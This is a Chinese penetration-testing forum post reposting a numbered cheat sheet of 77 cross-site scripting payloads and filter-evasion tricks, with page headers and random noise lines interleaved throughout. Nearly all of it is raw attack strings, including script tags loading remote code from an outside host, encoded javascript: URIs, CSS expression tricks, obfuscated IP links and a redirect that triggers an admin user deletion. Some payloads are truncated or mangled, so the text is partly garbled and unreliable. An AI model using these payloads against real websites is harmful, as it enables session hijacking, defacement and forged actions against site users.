中国网络渗透测试联盟
标题:
XSS攻击汇总
[打印本页]
作者:
admin
时间:
2013-4-19 19:22
标题:
XSS攻击汇总
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
: |, [: _ ~2 p* s2 Q
(1)普通的XSS JavaScript注入
: b+ b) n: P/ E: p& S. C" N* q$ m
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
4 I* `: i9 J E$ d
(2)IMG标签XSS使用JavaScript命令
! s& u- _9 g( n3 g& z- @: t
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
9 X) k- f' P, Z
(3)IMG标签无分号无引号
7 J4 M5 I) X! t; b; h
<IMG SRC=javascript:alert(‘XSS’)>
2 @5 l1 k: R8 b @
(4)IMG标签大小写不敏感
* C F) O; Q1 s4 u7 t
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
3 p7 u7 s; t1 T: N8 H* ]$ R
(5)HTML编码(必须有分号)
# k# o) u7 X! ~, S
<IMG SRC=javascript:alert(“XSS”)>
& z( g/ \, W; H- K' N G' ^
(6)修正缺陷IMG标签
7 B" s& l6 g% \: B6 e9 D* j6 U
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
8 S, G" y! h( @3 R8 Y
1 F$ [2 @2 p5 p. O
9 Q9 M3 S" I* Z8 |2 h1 _
(7)formCharCode标签(计算器)
& ]0 T& ?) e! a3 c+ u* y% P
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
# U* t0 |5 u# n9 X
(8)UTF-8的Unicode编码(计算器)
" _" T. g# @0 P4 b
<IMG SRC=jav..省略..S')>
- D. B) C( h( E1 D0 Y
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
' U) j+ K$ I/ y6 I
<IMG SRC=jav..省略..S')>
+ \! w1 T, l' }0 Z* d4 q( c
(10)十六进制编码也是没有分号(计算器)
7 e& N2 ^$ J1 G: S6 @
<IMG SRC=java..省略..XSS')>
+ E' M2 o0 f0 N1 [
(11)嵌入式标签,将Javascript分开
: @* k/ k9 O7 A; g8 {3 m8 a
<IMG SRC=”jav ascript:alert(‘XSS’);”>
; M% p [9 z. \: E$ i: [- X
(12)嵌入式编码标签,将Javascript分开
5 U$ A! S& k' z2 G5 r
<IMG SRC=”jav ascript:alert(‘XSS’);”>
9 @1 O" e# S/ `% |* ]9 ^) @& L' G
(13)嵌入式换行符
" b: c: Q+ k7 Q) s' D o- \
<IMG SRC=”jav ascript:alert(‘XSS’);”>
/ J' \; ?; D" o$ ?8 P- \3 F5 s
(14)嵌入式回车
. S1 a* C. F/ J, w5 p2 g
<IMG SRC=”jav ascript:alert(‘XSS’);”>
2 P% V' w9 \, k+ z; \/ X; ~- E
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
% H: k( k0 O- P/ n1 A+ R9 F$ U
<IMG SRC=”javascript:alert(‘XSS‘)”>
1 D: i9 Y# J# G7 K& D4 T
(16)解决限制字符(要求同页面)
, B2 a$ T( k8 R$ M. T% `
<script>z=’document.’</script>
+ {, Q8 e0 y i& {! {4 @
<script>z=z+’write(“‘</script>
: E2 ]8 L) { P0 B
<script>z=z+’<script’</script>
h4 w9 Z. ~: q5 x0 n0 A! P
<script>z=z+’ src=ht’</script>
, I. |3 w: N k9 K' V5 h2 I' i8 I0 q
<script>z=z+’tp://ww’</script>
) a2 B8 G' `. S" I9 d$ j
<script>z=z+’w.shell’</script>
) v( l' b6 M, w. z1 ]% l
<script>z=z+’.net/1.’</script>
4 B. ^) j X! d
<script>z=z+’js></sc’</script>
* O2 @6 k& ~, w/ ~7 {! Q2 [5 T, U
<script>z=z+’ript>”)’</script>
, Y7 t4 ?5 y+ q1 O( [
<script>eval_r(z)</script>
! \# U R- W1 w4 ]3 V+ g
(17)空字符12-7-1 T00LS - Powered by Discuz! Board
, P- h4 r/ B& l
https://www.t00ls.net/viewthread ... table&tid=15267
2/6
" _. B; O& D% a& N
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
3 A3 S: V- w2 e) ?' Y
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
2 J( N$ ?5 p* k2 l- B: t
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
% L+ H4 ^6 ]' k, ]
(19)Spaces和meta前的IMG标签
, C: n- {) S) M( b
<IMG SRC=” javascript:alert(‘XSS’);”>
/ n p7 {& x( W5 U3 ?
(20)Non-alpha-non-digit XSS
5 p" A, S8 `' G2 _0 e4 {( A! K
<SCRIPT/XSS SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
/ G& d v1 Z2 ~/ k' E
(21)Non-alpha-non-digit XSS to 2
1 x* M7 m6 m3 N0 k8 g
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
" B, U$ f- @ z0 O
(22)Non-alpha-non-digit XSS to 3
1 ?& w" u0 T0 p U$ f+ I
<SCRIPT/SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
4 i/ H: u q5 R- `! y
(23)双开括号
+ m6 u1 i0 i5 Y0 p- p/ t5 `3 S+ O& l
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
( e" m$ V7 c, R# D
(24)无结束脚本标记(仅火狐等浏览器)
. ~; E# \1 B0 H/ S: n! C
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
/ |% \( k' k5 V( z8 ]
(25)无结束脚本标记2
8 M* |+ k- ~' D; c0 V# l
<SCRIPT SRC=//3w.org/XSS/xss.js>
0 f' V' a& z& ~$ m" ]) v5 P
(26)半开的HTML/JavaScript XSS
/ q$ W u; O, i/ r6 {
<IMG SRC=”javascript:alert(‘XSS’)”
% C! N' |4 Q" F' v3 Y7 W
(27)双开角括号
3 t% |+ L! Q$ Z$ S+ x4 W' X/ S3 S
<iframe src=http://3w.org/XSS.html <
) S' c4 C) s, v& Z
(28)无单引号 双引号 分号
9 b0 p' t: E- m' k6 D
<SCRIPT>a=/XSS/
. ~8 \! u0 _- G, P1 I j1 O
alert(a.source)</SCRIPT>
* Y/ |* A9 ?, x( I& \" z& a
(29)换码过滤的JavaScript
# l! [5 O' @2 ~' z7 @1 {; \5 m
\”;alert(‘XSS’);//
) n8 b7 w7 e6 |% t# z8 Z" A0 T
(30)结束Title标签
: c, _3 \5 A% l6 [. D
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
* Y! l8 v) f; B- Q8 Z* i2 T W
(31)Input Image
9 h- Z8 p* A0 Z, E3 r6 h) Y) g
<INPUT SRC=”javascript:alert(‘XSS’);”>
% z J& _5 O* G1 o D2 t8 ^8 ^
(32)BODY Image
9 X( D V% B* B) w, B% r
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
$ p5 m, W! I* F" F5 a
(33)BODY标签
0 D: K, U. W6 t% V
<BODY(‘XSS’)>
" L- h& S2 b; \
(34)IMG Dynsrc
6 |0 C# n: J5 F! L# G# J- @# s/ }3 j
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
6 L3 M6 Z3 D3 h1 @
(35)IMG Lowsrc
- a( e' R- u+ o& c, e
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
8 m$ ?! w( @! t* Q
(36)BGSOUND
7 M1 a( I. e, J8 B; p7 M' [
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
! \4 J! P i, t7 r# G
(37)STYLE sheet
3 O0 z ]# V( g5 I) S- n# G
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
; B1 C9 \9 z" l4 I
(38)远程样式表
6 e% U. G. [1 E& u7 r8 [
<LINK REL=”stylesheet” HREF=”
http://3w.org/xss.css
”>
/ m. ?0 k6 ?% u, S" U
(39)List-style-image(列表式)
+ V0 X# Y$ ?- X, y& Y
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
) X5 i, v5 e& B6 n% W1 V2 d8 s4 C
(40)IMG VBscript
, @6 h5 K+ I7 t* q# K' W, k0 O+ t
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
1 W8 ~5 B; w3 B. R
(41)META链接url
7 W: ^) W8 o' I2 ?, s
+ c& |: d# A! h, W. q0 d
% r( G* I" P; W& z( l
<META HTTP-EQUIV=”refresh” CONTENT=”0;
$ ]8 c/ ], G8 T
URL=http://;URL=javascript:alert(‘XSS’);”>
- ]$ `( W" h' z4 s3 o: r+ \& @5 f
(42)Iframe
3 U6 ?2 H6 O6 y
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
/ H+ Y' c- t d0 a) T$ [* P
(43)Frame
" q) m2 l. _# l. S8 p
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
* k6 `" t( V3 {7 Z2 l, P+ I) U
https://www.t00ls.net/viewthread ... table&tid=15267
3/6
7 @" V7 h& b8 J8 j/ ^
(44)Table
3 Y1 A4 s5 g+ J a) X7 D7 y
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
, \1 A& @" |1 U! y
(45)TD
' I+ F+ m9 X {0 {% n
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
6 S5 D8 b @+ E+ T1 l0 }2 _
(46)DIV background-image
. S* `4 w( i- f, `& p9 {3 Z; B
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
}9 j- o* T; a7 A4 q \$ ~
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
1 B) T7 E2 U. Q' W
8&13&12288&65279)
. |+ M: U0 b# k+ [" H3 J, }2 I
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
1 B+ X/ u" m" I3 B
(48)DIV expression
$ ~! ?7 n f2 i7 K
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
- ?( I. t6 S' N# E" t* g, R' M, R- Z
(49)STYLE属性分拆表达
* V7 z0 ?+ g5 M& o: A0 ^) \. f
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
: B! B+ p5 L6 Q1 w% f
(50)匿名STYLE(组成:开角号和一个字母开头)
) } F- c+ {% v' ]
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
3 R7 N. Y5 k4 b: E# B& \9 q6 {
(51)STYLE background-image
+ f; l! P) N' `$ v# e
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
) f+ n$ p. d. K0 [$ X ^8 |
CLASS=XSS></A>
0 O% A& M- ~. R/ ~: c
(52)IMG STYLE方式
& o1 h9 r% ?+ I+ b7 t& {+ n) V
exppression(alert(“XSS”))’>
% b v- M, o" t6 G m1 Y
(53)STYLE background
: u% K; D# v" V
<STYLE><STYLE
0 n% r w/ h) n
type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
4 G) M: n! r* X7 v+ Q
(54)BASE
2 Z8 ]+ X' c0 D9 h3 D, c1 g
<BASE HREF=”javascript:alert(‘XSS’);//”>
9 t# ~ g# S% ?+ h
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
/ ~4 i* ?, H. Q- j) U
<EMBED SRC=”
http://3w.org/XSS/xss.swf
” ></EMBED>
6 L7 J; E) t- F {
(56)在flash中使用ActionScrpt可以混进你XSS的代码
1 s5 G% q2 }1 K6 w' i- {
a=”get”;
4 r5 s f9 G7 h4 s9 K* U! b
b=”URL(\”";
5 ^& k( z) j& `4 n
c=”javascript:”;
3 A/ @. u; @' y% l6 Q0 T
d=”alert(‘XSS’);\”)”;
! ]* E& ?3 r( R+ [# ~: E
eval_r(a+b+c+d);
% J7 B- o {$ O; Q+ R1 T& O( y, o
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
& u0 J4 Y1 s. B; Y
<HTML xmlns:xss>
' R- C' f" W. c' o
<?import namespace=”xss” implementation=”
http://3w.org/XSS/xss.htc
”>
. r R+ A. S! |: A# m9 e. E% U: U: {1 K
<xss:xss>XSS</xss:xss>
8 N* T2 i7 J* b2 _
</HTML>
" L+ ?6 g0 x3 q w- ?/ M4 i
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
6 i1 n8 U; E3 C4 l
<SCRIPT SRC=””></SCRIPT>
" W/ ?) h; Z/ B S
(59)IMG嵌入式命令,可执行任意命令
0 ?2 u! p. ~3 y% [3 _! f+ _# n% v
<IMG SRC=”
http://www.XXX.com/a.php?a=b
”>
8 U* }# t6 S, K) X# M5 q2 B
(60)IMG嵌入式命令(a.jpg在同服务器)
9 B0 ?& N5 v# e( E
Redirect 302 /a.jpg
http://www.XXX.com/admin.asp&deleteuser
, K$ |! u3 R& L6 a1 _8 R5 n" ]% _
(61)绕符号过滤
( S* C; @: r7 v u
<SCRIPT a=”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
# L2 i* ~+ {6 r
(62)
& ^9 w$ A5 K q3 d N
<SCRIPT =”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
0 n' o3 N. F8 s/ `; f
(63)
2 d3 W1 T9 I5 m1 g( C
<SCRIPT a=”>” ” SRC=”
http://3w.org/xss.js
”></SCRIPT>
' A. i! }6 n. A+ T0 c4 h/ s1 |
(64)
3 x2 r3 w4 Z- H- k1 l
<SCRIPT “a=’>’” SRC=”
http://3w.org/xss.js
”></SCRIPT>
/ R3 J8 B1 c4 p! i/ S2 ?
(65)
9 B7 {6 t* C+ J2 d6 ]( y; m
<SCRIPT a=`>` SRC=”
http://3w.org/xss.js
”></SCRIPT>
; B) A: n1 V5 c% Q
(66)12-7-1 T00LS - Powered by Discuz! Board
8 ]* D* W5 C) l
https://www.t00ls.net/viewthread ... table&tid=15267
4/6
% u1 M" N9 f; x9 R6 p
<SCRIPT a=”>’>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
/ f0 j, t/ j2 o9 F! W" ^
(67)
4 L- Y' z) {1 z
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”
http://3w.org/xss.js
”>
. t8 N, i' g: a$ j' c; y* l7 V% a
</SCRIPT>
. x+ X" _+ n8 g0 t
(68)URL绕行
6 u: I7 G* z& l
<A HREF=”
http://127.0.0.1/
”>XSS</A>
8 e! B O3 u. k& x
(69)URL编码
& C9 x, h2 }& k$ |- E
<A HREF=”
http://3w.org
”>XSS</A>
( h! I) |; w; R1 M
(70)IP十进制
6 G' r( _' ^9 q9 W7 {5 q
<A HREF=”http://3232235521″>XSS</A>
' G9 k; E2 [" _7 n; }/ p% Y
(71)IP十六进制
4 P2 y# {2 j4 x2 F7 x; l1 C
<A HREF=”
http://0xc0.0xa8.0
×00.0×01″>XSS</A>
& k# p% V/ d: `1 E& z
(72)IP八进制
& ~5 n% O7 f+ s4 a! ]& b+ q
<A HREF=”
http://0300.0250.0000.0001
″>XSS</A>
c# n+ k8 H2 k) H2 D6 t
(73)混合编码
6 f2 j/ Y9 L; Q$ _
<A HREF=”h
5 }: v3 c# Q5 T+ v6 f
tt p://6 6.000146.0×7.147/”">XSS</A>
4 W. k+ E5 \% S$ {9 ?$ u
(74)节省[http:]
9 {$ _2 M' U2 j& a
<A HREF=”//www.google.com/”>XSS</A>
Q3 b8 x' c8 R6 \' M
(75)节省[www]
: ]3 A# p. @' T
<A HREF=”
http://google.com/
”>XSS</A>
: a; t1 l L/ T9 V6 l! ` O
(76)绝对点绝对DNS
# Y4 K1 w2 p2 _% {; X8 v( B, g
<A HREF=”
http://www.google.com./
”>XSS</A>
/ j# L$ Q8 \) U
(77)javascript链接
. N7 @4 L) K* q2 q3 o: m1 ^
<A HREF=”javascript:document.location=’
http://www.google.com/
’”>XSS</A>
. [ O3 v4 D6 i* m( B
$ F' W* C8 Y% m. {- L2 K, Y, n
原文地址:
http://fuzzexp.org/u/0day/?p=14
4 @' t# W8 O% ^ l- t/ `5 S
4 [9 g! @, J% t4 A; Z" J& a
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2